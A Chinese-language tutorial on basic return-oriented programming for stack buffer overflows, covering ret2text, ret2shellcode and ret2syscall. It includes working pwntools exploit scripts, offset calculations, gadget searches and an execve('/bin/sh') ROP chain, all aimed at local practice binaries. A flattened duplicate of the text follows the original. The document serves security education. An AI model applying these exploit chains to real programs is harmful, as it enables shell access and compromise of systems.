栈溢出ROP利用基础(二)
字数 1394 2025-08-29 08:30:36

ROP利用基础教学文档

1. ROP技术概述

ROP(Return-Oriented Programming)是一种高级的内存攻击技术,通过利用程序中已有的代码片段(gadgets)来构造攻击链,绕过数据执行保护(DEP)等安全机制。

2. ROP利用基础类型

2.1 ret2text

特征:执行程序.text代码段已有的系统函数调用。

利用步骤

  1. 检查保护机制

    checksec <binary>
    
  2. IDA分析

    • 查找可调用的system("/bin/sh")等危险函数
    • 识别存在缓冲区溢出漏洞的函数(如gets())
  3. GDB调试关键点

    • 计算可控内存起始地址到返回地址的偏移量
    • 确定输入点在栈中的起始地址
    • 计算偏移量公式:
      偏移 = ebp - 输入点地址 + 4 (32位系统)
      
  4. Payload构造示例

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./ret2text')
    target = 0x804863a  # system("/bin/sh")地址
    sh.sendline('A' * (0x6c+4) + p32(target))
    sh.interactive()
    

注意事项

  • 源代码和IDA分析中的变量名可能不一致,需通过GDB确认实际地址
  • 确保计算偏移时使用正确的参照物

2.2 ret2shellcode

特征:存在可写入shellcode的缓冲区,且具有可执行权限。

利用步骤

  1. 检查保护机制

    • 确认NX是否关闭(允许栈执行)
  2. 源码分析

    • 确认不存在直接获取shell的函数
    • 识别可利用的控制流函数(如gets())
    • 确认缓冲区位置(如.bss段)
  3. 权限检查

    gdb> vmmap  # 查看内存分布和权限
    
    • 确认目标缓冲区具有wx(可写可执行)权限
  4. 动态计算偏移

    • 使用cyclic工具生成测试字符串
    • 通过崩溃地址计算精确偏移:
      cyclic -l <fault address>
      
  5. Payload构造示例

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./ret2shellcode')
    shellcode = asm(shellcraft.sh())  # 自动生成shellcode
    buf2_addr = 0x804a080  # 可执行缓冲区地址
    sh.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))
    sh.interactive()
    

2.3 ret2syscall

特征:控制程序执行系统调用获取shell。

利用步骤

  1. 检查保护机制

  2. 源码分析

    • 确认没有直接可用的system()或shellcode
    • 识别可利用的控制流函数
  3. 系统调用基础

    • execve("/bin/sh",NULL,NULL)需要:
      • eax = 0xb (系统调用号)
      • ebx -> "/bin/sh"字符串地址
      • ecx = 0
      • edx = 0
    • 触发:int 0x80
  4. 寻找gadgets

    • 控制eax的gadget:
      ROPgadget --binary rop --only 'pop|ret' | grep 'eax'
      
    • 控制其他寄存器的gadget:
      ROPgadget --binary rop --only 'pop|ret' | grep 'ebx'
      
    • 查找"/bin/sh"字符串:
      ROPgadget --binary rop --string '/bin/sh'
      
    • 查找int 0x80:
      ROPgadget --binary rop --only 'int'
      
  5. Payload构造示例

    #!/usr/bin/env python
    from pwn import *
    
    sh = process('./rop')
    pop_eax_ret = 0x080bb196
    pop_edx_ecx_ebx_ret = 0x0806eb90
    int_0x80 = 0x08049421
    binsh = 0x80be408
    
    payload = flat([
        'A' * 112,
        pop_eax_ret, 0xb,
        pop_edx_ecx_ebx_ret, 0, 0, binsh,
        int_0x80
    ])
    
    sh.sendline(payload)
    sh.interactive()
    

3. 关键工具和技术

  1. checksec:检查二进制文件保护机制
  2. IDA Pro:静态分析二进制文件
  3. GDB:动态调试,计算偏移
  4. ROPgadget:搜索可用gadgets
  5. cyclic:生成测试字符串和计算偏移
  6. pwntools:自动化漏洞利用开发

4. 注意事项

  1. 架构差异:32位和64位系统的调用约定不同
  2. 地址对齐:确保跳转地址正确
  3. 保护机制:注意ASLR、NX、Stack Canary等的影响
  4. 环境一致性:本地和远程环境可能有差异
  5. 错误处理:考虑可能的各种异常情况

5. 扩展知识

  1. 高级ROP技术

    • SROP (Sigreturn Oriented Programming)
    • BROP (Blind ROP)
    • JOP (Jump-Oriented Programming)
  2. 防御措施

    • 控制流完整性(CFI)
    • 地址随机化(ASLR)
    • 栈保护(Stack Canary)
  3. 现代缓解技术

    • Shadow Stack
    • CET (Control-flow Enforcement Technology)
    • PAC (Pointer Authentication Codes)
ROP利用基础教学文档 1. ROP技术概述 ROP(Return-Oriented Programming)是一种高级的内存攻击技术,通过利用程序中已有的代码片段(gadgets)来构造攻击链,绕过数据执行保护(DEP)等安全机制。 2. ROP利用基础类型 2.1 ret2text 特征 :执行程序.text代码段已有的系统函数调用。 利用步骤 : 检查保护机制 : IDA分析 : 查找可调用的 system("/bin/sh") 等危险函数 识别存在缓冲区溢出漏洞的函数(如 gets() ) GDB调试关键点 : 计算可控内存起始地址到返回地址的偏移量 确定输入点在栈中的起始地址 计算偏移量公式: Payload构造示例 : 注意事项 : 源代码和IDA分析中的变量名可能不一致,需通过GDB确认实际地址 确保计算偏移时使用正确的参照物 2.2 ret2shellcode 特征 :存在可写入shellcode的缓冲区,且具有可执行权限。 利用步骤 : 检查保护机制 : 确认NX是否关闭(允许栈执行) 源码分析 : 确认不存在直接获取shell的函数 识别可利用的控制流函数(如 gets() ) 确认缓冲区位置(如.bss段) 权限检查 : 确认目标缓冲区具有wx(可写可执行)权限 动态计算偏移 : 使用cyclic工具生成测试字符串 通过崩溃地址计算精确偏移: Payload构造示例 : 2.3 ret2syscall 特征 :控制程序执行系统调用获取shell。 利用步骤 : 检查保护机制 源码分析 : 确认没有直接可用的system()或shellcode 识别可利用的控制流函数 系统调用基础 : execve("/bin/sh",NULL,NULL)需要: eax = 0xb (系统调用号) ebx -> "/bin/sh"字符串地址 ecx = 0 edx = 0 触发:int 0x80 寻找gadgets : 控制eax的gadget: 控制其他寄存器的gadget: 查找"/bin/sh"字符串: 查找int 0x80: Payload构造示例 : 3. 关键工具和技术 checksec :检查二进制文件保护机制 IDA Pro :静态分析二进制文件 GDB :动态调试,计算偏移 ROPgadget :搜索可用gadgets cyclic :生成测试字符串和计算偏移 pwntools :自动化漏洞利用开发 4. 注意事项 架构差异:32位和64位系统的调用约定不同 地址对齐:确保跳转地址正确 保护机制:注意ASLR、NX、Stack Canary等的影响 环境一致性:本地和远程环境可能有差异 错误处理:考虑可能的各种异常情况 5. 扩展知识 高级ROP技术 : SROP (Sigreturn Oriented Programming) BROP (Blind ROP) JOP (Jump-Oriented Programming) 防御措施 : 控制流完整性(CFI) 地址随机化(ASLR) 栈保护(Stack Canary) 现代缓解技术 : Shadow Stack CET (Control-flow Enforcement Technology) PAC (Pointer Authentication Codes)